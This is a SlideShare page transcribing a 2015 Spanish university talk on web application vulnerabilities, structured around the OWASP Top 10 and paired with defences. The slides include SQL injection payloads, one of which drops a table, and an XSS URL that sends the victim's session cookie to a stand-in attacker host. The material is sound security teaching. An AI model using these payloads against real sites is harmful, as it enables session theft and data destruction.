SlideShare a Scribd company logo

Cursos e-ghost 2015: Vulnerabilidades de Seguridad en Aplicaciones Web

A
axelko

Transparencias utilizadas en la charla "Vulnerabilidades de Seguridad en Aplicaciones Web", impartida en la Universidad de Deusto el 17 de julio de 2015, dentro del programa de cursos de verano organizado por el grupo e-ghost.

1 of 114
Download to read offline
VULNERABILIDADES
DE SEGURIDAD
EN APLICACIONES WEB
Universidad de Deusto
Julio 2015
Ander Izquierdo
CONTENIDO
1. El problema
2. Casos reales de mala seguridad
3. Estadísticas, cifras, y datos para asustar
4. Proyecto OWASP Top 10
5. CWE/SANS Top 25 errores más peligrosos
6. Otras referencias sobre seguridad
7. Preguntas
1. EL PROBLEMA
EL PROBLEMA: Tecnologías Heredadas
• La web emplea tecnologías heredadas que
hoy en día se usan para fines diferentes a los
que fueron concebidas.
• Ejemplo: HTTP, un protocolo sin estado.
– Necesario utilizar mecanismos externos para
mantener el estado.
– No hay negociación de conexión ni mantenimiento
de sesión.
• El atacante sólo necesita enviar una petición de página
con las cabeceras apropiadas.
EL PROBLEMA: Responsabilidades
Como consecuencia:
1. La aplicación debe protegerse frente a intentos
de entrada de usuarios malintencionados.
2. La aplicación deben proteger a los usuarios
legítimos de los usuarios malintencionados.
EL PROBLEMA: Responsabilidades
El peso de la seguridad recae en el programador.
(Aunque en la práctica haya soluciones que nos ayuden).

Recommended

Errores comunes en la visualización de datos y algunas soluciones
Errores comunes en la visualización de datos y algunas solucionesErrores comunes en la visualización de datos y algunas soluciones
Errores comunes en la visualización de datos y algunas solucionesPablo Garaizar
 
MANUAL PARA CONFIGURACIÓN DE ELASTIX
MANUAL PARA CONFIGURACIÓN DE ELASTIXMANUAL PARA CONFIGURACIÓN DE ELASTIX
MANUAL PARA CONFIGURACIÓN DE ELASTIXmiguelangelperezhenao
 
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesLa Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidades
La Web como plataforma de referencia: viejos ataques y nuevas vulnerabilidadesPablo Garaizar
 
El problema de parada y los castores laboriosos
El problema de parada y los castores laboriososEl problema de parada y los castores laboriosos
El problema de parada y los castores laboriososPablo Garaizar
 
Repaso rápido a los nuevos estándares web
Repaso rápido a los nuevos estándares webRepaso rápido a los nuevos estándares web
Repaso rápido a los nuevos estándares webPablo Garaizar
 
AI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfAI Trends in Creative Operations 2024 by Artwork Flow.pdf
AI Trends in Creative Operations 2024 by Artwork Flow.pdfmarketingartwork
 
PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024PEPSICO Presentation to CAGNY Conference Feb 2024
PEPSICO Presentation to CAGNY Conference Feb 2024Neil Kimberley
 

More Related Content

Recently uploaded

presentacion de una computadora modelo uncs
presentacion de una computadora modelo uncspresentacion de una computadora modelo uncs
presentacion de una computadora modelo uncscarlocarrillocacc
 
Taller 1 sobre operadores tecnologicos.pdf
Taller 1 sobre operadores tecnologicos.pdfTaller 1 sobre operadores tecnologicos.pdf
Taller 1 sobre operadores tecnologicos.pdfAna Lucía Tellez Lugo
 
Carta de trabajo para los empleados.docx.pdf
Carta de trabajo para los empleados.docx.pdfCarta de trabajo para los empleados.docx.pdf
Carta de trabajo para los empleados.docx.pdfEmanuelminotta
 
Sentencia Tribunal Ambiental Data Center de Google
Sentencia Tribunal Ambiental Data Center de GoogleSentencia Tribunal Ambiental Data Center de Google
Sentencia Tribunal Ambiental Data Center de GoogleFelipe Ovalle
 
Creación de una base de datos en el hosting.pptx
Creación de una base de datos en el hosting.pptxCreación de una base de datos en el hosting.pptx
Creación de una base de datos en el hosting.pptxALEJANDRAJOCELYNGUTI
 
Situación comparativa de los Ferrocarriles en el mundo y en Colombia
Situación comparativa de los Ferrocarriles en el mundo y en ColombiaSituación comparativa de los Ferrocarriles en el mundo y en Colombia
Situación comparativa de los Ferrocarriles en el mundo y en ColombiaEnrique Posada
 
Caso Aceros de Guatemala: Innovación Estética y Sostenibilidad.pdf
Caso Aceros de Guatemala: Innovación Estética y Sostenibilidad.pdfCaso Aceros de Guatemala: Innovación Estética y Sostenibilidad.pdf
Caso Aceros de Guatemala: Innovación Estética y Sostenibilidad.pdfcasoacerosdeguatemal
 
Combinación de correspondencia Sebastián Pérez
Combinación de correspondencia Sebastián PérezCombinación de correspondencia Sebastián Pérez
Combinación de correspondencia Sebastián PérezSebastinPrez67
 
VIDEOS DE APOYO PARA LA CREACION DE UN BLOG
VIDEOS DE APOYO PARA LA CREACION DE UN BLOGVIDEOS DE APOYO PARA LA CREACION DE UN BLOG
VIDEOS DE APOYO PARA LA CREACION DE UN BLOGSamuel709479
 
Taller crear carta de correspondencia.docx.pdf
Taller crear carta de correspondencia.docx.pdfTaller crear carta de correspondencia.docx.pdf
Taller crear carta de correspondencia.docx.pdfSEBASTIANMICOLTA
 
Operadores de Kubernetes: El poder de la automatización
Operadores de Kubernetes: El poder de la automatizaciónOperadores de Kubernetes: El poder de la automatización
Operadores de Kubernetes: El poder de la automatizaciónEdith Puclla
 
VIDEOS DE APOYO-como subir un documento de slideshare.docx
VIDEOS DE APOYO-como subir un documento de slideshare.docxVIDEOS DE APOYO-como subir un documento de slideshare.docx
VIDEOS DE APOYO-como subir un documento de slideshare.docxsamuelvideos
 
Manual de usuario Dongle Zigbee 3.0 Sonoff
Manual de usuario Dongle Zigbee 3.0 SonoffManual de usuario Dongle Zigbee 3.0 Sonoff
Manual de usuario Dongle Zigbee 3.0 SonoffDomotica daVinci
 
Realiza tu primera contribucion a la OCA
Realiza tu primera contribucion a la OCARealiza tu primera contribucion a la OCA
Realiza tu primera contribucion a la OCAMaxime Chambreuil
 
Ley de Delitos Informaticos y su aplicación en el sector privado.pptx
Ley de Delitos Informaticos y su aplicación en el sector privado.pptxLey de Delitos Informaticos y su aplicación en el sector privado.pptx
Ley de Delitos Informaticos y su aplicación en el sector privado.pptxBasile
 
marketing RPA 2024 es una coleccion de casos de uso
marketing RPA 2024 es una coleccion de casos de usomarketing RPA 2024 es una coleccion de casos de uso
marketing RPA 2024 es una coleccion de casos de usoncastagno
 
VIDEOS DE APOYO PARA TECNOLOGIA LICEO DEP
VIDEOS DE APOYO PARA TECNOLOGIA LICEO DEPVIDEOS DE APOYO PARA TECNOLOGIA LICEO DEP
VIDEOS DE APOYO PARA TECNOLOGIA LICEO DEPAlejandraCasallas7
 
Videos de apoyo, actividad de tecnología
Videos de apoyo, actividad de tecnologíaVideos de apoyo, actividad de tecnología
Videos de apoyo, actividad de tecnologíaampiscastillo903
 
IT + IA, La integración de la inteligencia artificial en las redes de comunic...
IT + IA, La integración de la inteligencia artificial en las redes de comunic...IT + IA, La integración de la inteligencia artificial en las redes de comunic...
IT + IA, La integración de la inteligencia artificial en las redes de comunic...Educática
 

Recently uploaded (20)

presentacion de una computadora modelo uncs
presentacion de una computadora modelo uncspresentacion de una computadora modelo uncs
presentacion de una computadora modelo uncs
 
Taller 1 sobre operadores tecnologicos.pdf
Taller 1 sobre operadores tecnologicos.pdfTaller 1 sobre operadores tecnologicos.pdf
Taller 1 sobre operadores tecnologicos.pdf
 
Carta de trabajo para los empleados.docx.pdf
Carta de trabajo para los empleados.docx.pdfCarta de trabajo para los empleados.docx.pdf
Carta de trabajo para los empleados.docx.pdf
 
Sentencia Tribunal Ambiental Data Center de Google
Sentencia Tribunal Ambiental Data Center de GoogleSentencia Tribunal Ambiental Data Center de Google
Sentencia Tribunal Ambiental Data Center de Google
 
Creación de una base de datos en el hosting.pptx
Creación de una base de datos en el hosting.pptxCreación de una base de datos en el hosting.pptx
Creación de una base de datos en el hosting.pptx
 
Situación comparativa de los Ferrocarriles en el mundo y en Colombia
Situación comparativa de los Ferrocarriles en el mundo y en ColombiaSituación comparativa de los Ferrocarriles en el mundo y en Colombia
Situación comparativa de los Ferrocarriles en el mundo y en Colombia
 
Caso Aceros de Guatemala: Innovación Estética y Sostenibilidad.pdf
Caso Aceros de Guatemala: Innovación Estética y Sostenibilidad.pdfCaso Aceros de Guatemala: Innovación Estética y Sostenibilidad.pdf
Caso Aceros de Guatemala: Innovación Estética y Sostenibilidad.pdf
 
Combinación de correspondencia Sebastián Pérez
Combinación de correspondencia Sebastián PérezCombinación de correspondencia Sebastián Pérez
Combinación de correspondencia Sebastián Pérez
 
VIDEOS DE APOYO PARA LA CREACION DE UN BLOG
VIDEOS DE APOYO PARA LA CREACION DE UN BLOGVIDEOS DE APOYO PARA LA CREACION DE UN BLOG
VIDEOS DE APOYO PARA LA CREACION DE UN BLOG
 
Taller crear carta de correspondencia.docx.pdf
Taller crear carta de correspondencia.docx.pdfTaller crear carta de correspondencia.docx.pdf
Taller crear carta de correspondencia.docx.pdf
 
Herramientas tecnologicas para los abogados.pptx
Herramientas tecnologicas para los abogados.pptxHerramientas tecnologicas para los abogados.pptx
Herramientas tecnologicas para los abogados.pptx
 
Operadores de Kubernetes: El poder de la automatización
Operadores de Kubernetes: El poder de la automatizaciónOperadores de Kubernetes: El poder de la automatización
Operadores de Kubernetes: El poder de la automatización
 
VIDEOS DE APOYO-como subir un documento de slideshare.docx
VIDEOS DE APOYO-como subir un documento de slideshare.docxVIDEOS DE APOYO-como subir un documento de slideshare.docx
VIDEOS DE APOYO-como subir un documento de slideshare.docx
 
Manual de usuario Dongle Zigbee 3.0 Sonoff
Manual de usuario Dongle Zigbee 3.0 SonoffManual de usuario Dongle Zigbee 3.0 Sonoff
Manual de usuario Dongle Zigbee 3.0 Sonoff
 
Realiza tu primera contribucion a la OCA
Realiza tu primera contribucion a la OCARealiza tu primera contribucion a la OCA
Realiza tu primera contribucion a la OCA
 
Ley de Delitos Informaticos y su aplicación en el sector privado.pptx
Ley de Delitos Informaticos y su aplicación en el sector privado.pptxLey de Delitos Informaticos y su aplicación en el sector privado.pptx
Ley de Delitos Informaticos y su aplicación en el sector privado.pptx
 
marketing RPA 2024 es una coleccion de casos de uso
marketing RPA 2024 es una coleccion de casos de usomarketing RPA 2024 es una coleccion de casos de uso
marketing RPA 2024 es una coleccion de casos de uso
 
VIDEOS DE APOYO PARA TECNOLOGIA LICEO DEP
VIDEOS DE APOYO PARA TECNOLOGIA LICEO DEPVIDEOS DE APOYO PARA TECNOLOGIA LICEO DEP
VIDEOS DE APOYO PARA TECNOLOGIA LICEO DEP
 
Videos de apoyo, actividad de tecnología
Videos de apoyo, actividad de tecnologíaVideos de apoyo, actividad de tecnología
Videos de apoyo, actividad de tecnología
 
IT + IA, La integración de la inteligencia artificial en las redes de comunic...
IT + IA, La integración de la inteligencia artificial en las redes de comunic...IT + IA, La integración de la inteligencia artificial en las redes de comunic...
IT + IA, La integración de la inteligencia artificial en las redes de comunic...
 

Featured

Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)contently
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024Albert Qian
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsKurio // The Social Media Age(ncy)
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Search Engine Journal
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summarySpeakerHub
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next Tessa Mero
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentLily Ray
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best PracticesVit Horky
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project managementMindGenius
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...RachelPearson36
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Applitools
 
12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at WorkGetSmarter
 
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...DevGAMM Conference
 
Barbie - Brand Strategy Presentation
Barbie - Brand Strategy PresentationBarbie - Brand Strategy Presentation
Barbie - Brand Strategy PresentationErica Santiago
 
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them wellGood Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them wellSaba Software
 

Featured (20)

Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)Content Methodology: A Best Practices Report (Webinar)
Content Methodology: A Best Practices Report (Webinar)
 
How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024How to Prepare For a Successful Job Search for 2024
How to Prepare For a Successful Job Search for 2024
 
Social Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie InsightsSocial Media Marketing Trends 2024 // The Global Indie Insights
Social Media Marketing Trends 2024 // The Global Indie Insights
 
Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024Trends In Paid Search: Navigating The Digital Landscape In 2024
Trends In Paid Search: Navigating The Digital Landscape In 2024
 
5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary5 Public speaking tips from TED - Visualized summary
5 Public speaking tips from TED - Visualized summary
 
ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd ChatGPT and the Future of Work - Clark Boyd
ChatGPT and the Future of Work - Clark Boyd
 
Getting into the tech field. what next
Getting into the tech field. what next Getting into the tech field. what next
Getting into the tech field. what next
 
Google's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search IntentGoogle's Just Not That Into You: Understanding Core Updates & Search Intent
Google's Just Not That Into You: Understanding Core Updates & Search Intent
 
How to have difficult conversations
How to have difficult conversations How to have difficult conversations
How to have difficult conversations
 
Introduction to Data Science
Introduction to Data ScienceIntroduction to Data Science
Introduction to Data Science
 
Time Management & Productivity - Best Practices
Time Management & Productivity -  Best PracticesTime Management & Productivity -  Best Practices
Time Management & Productivity - Best Practices
 
The six step guide to practical project management
The six step guide to practical project managementThe six step guide to practical project management
The six step guide to practical project management
 
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
Beginners Guide to TikTok for Search - Rachel Pearson - We are Tilt __ Bright...
 
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
Unlocking the Power of ChatGPT and AI in Testing - A Real-World Look, present...
 
12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work12 Ways to Increase Your Influence at Work
12 Ways to Increase Your Influence at Work
 
ChatGPT webinar slides
ChatGPT webinar slidesChatGPT webinar slides
ChatGPT webinar slides
 
More than Just Lines on a Map: Best Practices for U.S Bike Routes
More than Just Lines on a Map: Best Practices for U.S Bike RoutesMore than Just Lines on a Map: Best Practices for U.S Bike Routes
More than Just Lines on a Map: Best Practices for U.S Bike Routes
 
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
Ride the Storm: Navigating Through Unstable Periods / Katerina Rudko (Belka G...
 
Barbie - Brand Strategy Presentation
Barbie - Brand Strategy PresentationBarbie - Brand Strategy Presentation
Barbie - Brand Strategy Presentation
 
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them wellGood Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
Good Stuff Happens in 1:1 Meetings: Why you need them and how to do them well
 

Cursos e-ghost 2015: Vulnerabilidades de Seguridad en Aplicaciones Web

  • 1. VULNERABILIDADES DE SEGURIDAD EN APLICACIONES WEB Universidad de Deusto Julio 2015 Ander Izquierdo
  • 2. CONTENIDO 1. El problema 2. Casos reales de mala seguridad 3. Estadísticas, cifras, y datos para asustar 4. Proyecto OWASP Top 10 5. CWE/SANS Top 25 errores más peligrosos 6. Otras referencias sobre seguridad 7. Preguntas
  • 4. EL PROBLEMA: Tecnologías Heredadas • La web emplea tecnologías heredadas que hoy en día se usan para fines diferentes a los que fueron concebidas. • Ejemplo: HTTP, un protocolo sin estado. – Necesario utilizar mecanismos externos para mantener el estado. – No hay negociación de conexión ni mantenimiento de sesión. • El atacante sólo necesita enviar una petición de página con las cabeceras apropiadas.
  • 5. EL PROBLEMA: Responsabilidades Como consecuencia: 1. La aplicación debe protegerse frente a intentos de entrada de usuarios malintencionados. 2. La aplicación deben proteger a los usuarios legítimos de los usuarios malintencionados.
  • 6. EL PROBLEMA: Responsabilidades El peso de la seguridad recae en el programador. (Aunque en la práctica haya soluciones que nos ayuden).
  • 7. EL PROBLEMA: Exceso de confianza ¿Confiar en el usuario? ¡Jamás! • La validación JavaScript no sirve como mecanismo de seguridad. • Es necesario hacer validación en el servidor. – Y hay que validarlo TODO.
  • 8. EL PROBLEMA: Exceso de confianza • Es muy habitual que los programadores confíen en: – Valores transmitidos en cookies. – Cabeceras HTTP. – Campos en formularios: • Desplegables • Radio buttons • Hidden fields
  • 9. EL PROBLEMA: Exceso de confianza Un atacante puede: • Manipular cualquier fragmento de información transmitido: – Parámetros – Cookies – Cabeceras • Evitar fácilmente cualquier mecanismo de control implementado en lado cliente. • Enviar peticiones en cualquier orden, enviar parámetros en diferente formato a lo esperado, o no enviarlos. – Cualquier suposición de uso que haga el desarrollador puede ser violada.
  • 10. EL PROBLEMA: Exceso de confianza Una entrada inesperada produce un resultado impredecible.
  • 11. 2. CASOS REALES DE MALA SEGURIDAD (y sus consecuencias)
  • 12. CASOS REALES DE MALA SEGURIDAD En 2011, Sony Network Entertainment sufrió una filtración de datos. Se comprometieron: • Usuarios y contraseñas. • Direcciones postales • Direcciones de email válidas. • No supieron determinar si se habían filtrado datos de tarjetas de crédito.
  • 13. CASOS REALES DE MALA SEGURIDAD Facebook: • En 2008: se descubrió que era posible acceder a fotografías privadas de millones de usuarios. – El ID de las fotografías era predecible. – En 2011 se descubrió un error similar. • En 2010: se descubrió un procedimiento para obtener datos confidenciales de un usuario a partir de su email. – Fue utilizado por spammers y scammers para enviar correo basura y realizar estafas.
  • 14. CASOS REALES DE MALA SEGURIDAD Tuenti: • En mayo de 2009: se descubre vulnerabilidad XSS en los tablones públicos que permite, entre otras, robar la sesión del usuario. • En agosto de 2009: se descubre vulnerabilidad de inyección SQL en la versión móvil de la web, permitiendo obtener datos confidenciales de los usuarios (nombres reales, teléfonos, emails, contraseñas en MD5, etc).
  • 15. CASOS REALES DE MALA SEGURIDAD Twitter: • Numerosos problemas de XSS a lo largo de su historia, todos fácilmente explotables. • En mayo de 2012 se publicó en PasteBin una relación de 55.000 usuarios y contraseñas.
  • 16. CASOS REALES DE MALA SEGURIDAD LinkedIn: • En junio de 2012: se publicaron más de 6 millones de contraseñas cifradas. – Muchas fueron descifradas al momento gracias a las tablas Rainbow.
  • 17. CASOS REALES DE MALA SEGURIDAD Google tampoco se queda exento: • En 2007: se descubre vulnerabilidad CSRF en Gmail que permite acceder a los mensajes de la víctima. • En 2009: se publica un procedimiento llamado Surf Jacking para el robo de la cookie de sesión a pesar del SSL. – Tardaron 3 meses en arreglarlo desde que fueron avisados. – Muchas webs de bancos españoles también eran vulnerables. • Mucho tiempo después, seguían siéndolo.
  • 18. CASOS REALES DE MALA SEGURIDAD https://haveibeenpwned.com/
  • 19. 4. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR
  • 20. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Aceptabilidad certificación Verafied en primera entrega. (Veracode. State of Software Security Report Volume 3. 2011.)
  • 21. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Tiempo para alcanzar la aceptabilidad Verafied. (Veracode. State of Software Security Report Volume 3. 2011.)
  • 22. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Presencia de alguna vulnerabilidad Top 10 OWASP en primera entrega. (Veracode. State of Software Security Report Volume 6. 2015.)
  • 23. ESTADÍSTICAS, CIFRAS, Y DATOS PARA ASUSTAR Probabilidad de encontrar una vulnerabilidad (Veracode. State of Software Security Report Volume 3. 2011.)
  • 25. PROYECTO OWASP TOP 10 OWASP = Open Web Application Security Project Proyecto de código abierto para determinar y combatir las causas que hacen que el software sea inseguro. Enfoque de seguridad en todas sus dimensiones: • Personas • Procesos • Tecnologías
  • 26. PROYECTO OWASP TOP 10 OWASP Top 10: • Establece una lista de debilidades ordenada por riesgo, y no por número de apariciones. • Es mundialmente referenciada en libros, publicaciones, y organizaciones dedicadas a la seguridad (MITRE, Veracode, etc). • Publicada en 2003, 2004, 2007, 2010 y 2013.
  • 27. PROYECTO OWASP TOP 10 ¿Qué es un riesgo? Un riesgo es cada una de las rutas que puede recorrer un atacante para hacerte daño.
  • 28. PROYECTO OWASP TOP 10 Para valorar un riesgo debemos preguntarnos: • ¿Es frecuente que ocurra? • ¿Es fácil descubrirlo? • ¿Es fácil explotarlo? • ¿Cuál será el impacto técnico? • ¿Cuál será el impacto en el negocio?
  • 29. PROYECTO OWASP TOP 10 Tener una vulnerabilidad != Ser vulnerable
  • 30. PROYECTO OWASP TOP 10 • A1 – Inyección • A2 – Pérdida de autenticación y gestión de sesiones • A3 – Secuencia de Comandos en Sitios Cruzados (XSS) • A4 – Referencia Directa Insegura a Objetos • A5 – Configuración de Seguridad Incorrecta • A6 – Exposición de datos sensibles • A7 – Ausencia de Control de Acceso a Funciones • A8 – Falsificación de Peticiones en Sitios Cruzados (CSRF) • A9 – Utilización de componentes con vulnerabilidades conocidas • A10 – Redirecciones y reenvíos no validados
  • 31. PROYECTO OWASP TOP 10 A1 – Inyección
  • 32. PROYECTO OWASP TOP 10: A1 - Inyección EL PROBLEMA Construir comandos o consultas enviando al intérprete datos no confiables sin filtrar. En general, componer el String del comando o consulta concatenando variables procedentes del usuario sin control alguno.
  • 33. PROYECTO OWASP TOP 10: A1 - Inyección EJEMPLO 1 $query = "SELECT id FROM usuarios WHERE email='$email' AND password='$password'"; Supongamos que introducimos el siguiente valor en la caja "Correo": cualquiercosa' OR 1=1 LIMIT 1;-- Lo que enviamos al intérprete sería: SELECT id FROM usuarios WHERE email='cualquiercosa' OR 1=1 LIMIT 1; --' AND password=''
  • 34. PROYECTO OWASP TOP 10: A1 - Inyección EJEMPLO 2 Si enviamos: ' OR id='1';-- Obtenemos: SELECT id FROM usuarios WHERE email='' OR id='1'; --' AND password=''
  • 35. PROYECTO OWASP TOP 10: A1 - Inyección EJEMPLO 3 Si enviamos: ' OR 1=1; DROP TABLE usuarios;-- Obtenemos: SELECT id FROM usuarios WHERE email='' OR 1=1; DROP TABLE usuarios; --' AND password=''
  • 36. PROYECTO OWASP TOP 10: A1 - Inyección RIESGOS • Acceder a datos confidenciales • Manipular información • Suplantar identidad • Vía de acceso a otro tipo de ataques (ej: XSS)
  • 37. PROYECTO OWASP TOP 10: A1 - Inyección LA SOLUCIÓN Solución principal: Usar una API parametrizada Ejemplo: uso de PreparedStatement en Java String query = "SELECT * FROM User WHERE userId = ? "; PreparedStatement prepStmt = con.prepareStatement(query); prepStmt.setString(1, userId); ResultSet rs = prepStmt.executeQuery();
  • 38. PROYECTO OWASP TOP 10: A1 - Inyección LA SOLUCIÓN Solución alternativa: Filtrar caracteres especiales Ejemplo: funciones de escape en PHP $ciudad = $mysqli->real_escape_string($ciudad);
  • 39. PROYECTO OWASP TOP 10: A1 - Inyección ¡HAY QUE TRATAR TODOS LOS PARÁMETROS! Incluidos los campos de tipo: • Desplegables • Radio buttons • Ocultos • Widgets de calendario • En peticiones GET y POST
  • 40. PROYECTO OWASP TOP 10 A2 – Pérdida de autenticación y gestión de sesiones
  • 41. PROYECTO OWASP TOP 10: A2 – Autenticación EL PROBLEMA Errores de implementación que permiten: • Obtener hashes de contraseñas • Obtener contraseñas en claro • Manipular el token de la sesión El objetivo: asumir la identidad de otros usuarios. – Habitualmente la del administrador.
  • 42. PROYECTO OWASP TOP 10: A2 – Autenticación EL PROBLEMA Errores habituales: • No cifrar en BBDD las contraseñas. • Se pueden adivinar o sobreescribir las contraseñas a través de funciones débiles de gestión de la sesión. • Los IDs de sesión son expuestos en la URL. • Los IDs de sesión son predecibles. • Los IDs de sesión no cambian al hacer login (ataques de fijación de la sesión). • Los IDs de sesión no expiran al hacer logout.
  • 43. PROYECTO OWASP TOP 10: A2 – Autenticación EJEMPLO 1 IDs de sesión expuestos en la URL http://www.tiendaguay.com/producto1?sessionid=4U1OU3OUA9FFMJMF
  • 44. PROYECTO OWASP TOP 10: A2 – Autenticación EJEMPLO 2 Ataque de fijación de la sesión El problema: • La aplicación crea una sesión anónima cuando el usuario accede por primera vez. • Cuando el usuario se identifica, se actualiza a una sesión autenticada sin cambiar el token. El Ataque: • El atacante obtiene primero un token anónimo con una visita normal. • El atacante usa algún engaño para fijar ese token en el navegador de la víctima. (ej: sesión en URL, administradores de cookies…). • Una vez que la víctima ha hecho login, el atacante también estará dentro. En enero de 2015 se descubrió una vulnerabilidad de este tipo en Joomla 2.5
  • 45. PROYECTO OWASP TOP 10: A2 – Autenticación EJEMPLO 3 IDs de sesión no expiran al hacer logout Permitirían un ataque de fijación de sesión persistente. • El usuario hace logout. – El atacante pierde acceso. • El usuario vuelve a hacer login. – El atacante recupera el acceso sin hacer nada.
  • 46. PROYECTO OWASP TOP 10: A2 – Autenticación LA SOLUCIÓN Revisar y cumplir con los requisitos definidos en el Application Security Verification Standard (ASVS) de OWASP, secciones V2 y V3.
  • 47. PROYECTO OWASP TOP 10: A2 – Autenticación LA SOLUCIÓN Algunos puntos son: • Comprobar que la sesión caduca al de cierto tiempo. • Comprobar que la sesión caduca al hacer logout. • Comprobar que las páginas que requieren autenticación no son accesibles de forma anónima. • Comprobar que la sesión cambia al autenticar. • Aceptar sólo tokens de sesión generados por la aplicación. • Comprobar que los flags de las cookies de sesión sean correctos (httponly y desactivar método TRACE). • Comprobar que la aplicación no permite acceso concurrente con un mismo usuario desde dos orígenes distintos.
  • 48. PROYECTO OWASP TOP 10 A3 – Secuencia de Comandos en Sitios Cruzados (XSS)
  • 49. PROYECTO OWASP TOP 10: A3 – XSS EL PROBLEMA Mostrar en las páginas de salida datos introducidos por el usuario sin filtrar. Sin una correcta validación, la entrada será tratada como contenido activo por el navegador. Permite al atacante enviar contenido JavaScript, ActiveX, Flash o Silverlight al navegador de la víctima.
  • 50. PROYECTO OWASP TOP 10: A3 – XSS EL PROBLEMA Hay dos tipos: • Reflejado – Suele ser un ataque dirigido. • Persistente – Afecta potencialmente a todos los usuarios.
  • 51. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 1 XSS Reflejado Ocurre cuando el atacante envía una URL a la víctima con parámetros GET manipulados. El código malicioso se incluye como valor del parámetro manipulado.
  • 52. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 1 XSS Reflejado Comportamiento normal:
  • 53. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 1 XSS Reflejado Ataque:
  • 54. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 2 XSS Persistente Ataque:
  • 55. PROYECTO OWASP TOP 10: A3 – XSS EJEMPLO 3 Robo de sesión El atacante realiza un ataque dirigido enviando a la víctima la siguiente URL: http://www.google.com/?q=gatitos<script>docu ment.location='http://atacante.com/robar?ses ion='+document.cookie</script>
  • 56. PROYECTO OWASP TOP 10: A3 - XSS RIESGOS • Robo de sesiones y escalada de privilegios • Obtención de información confidencial • Denegación de servicio • Cambio de configuración del usuario • Acciones en nombre del usuario
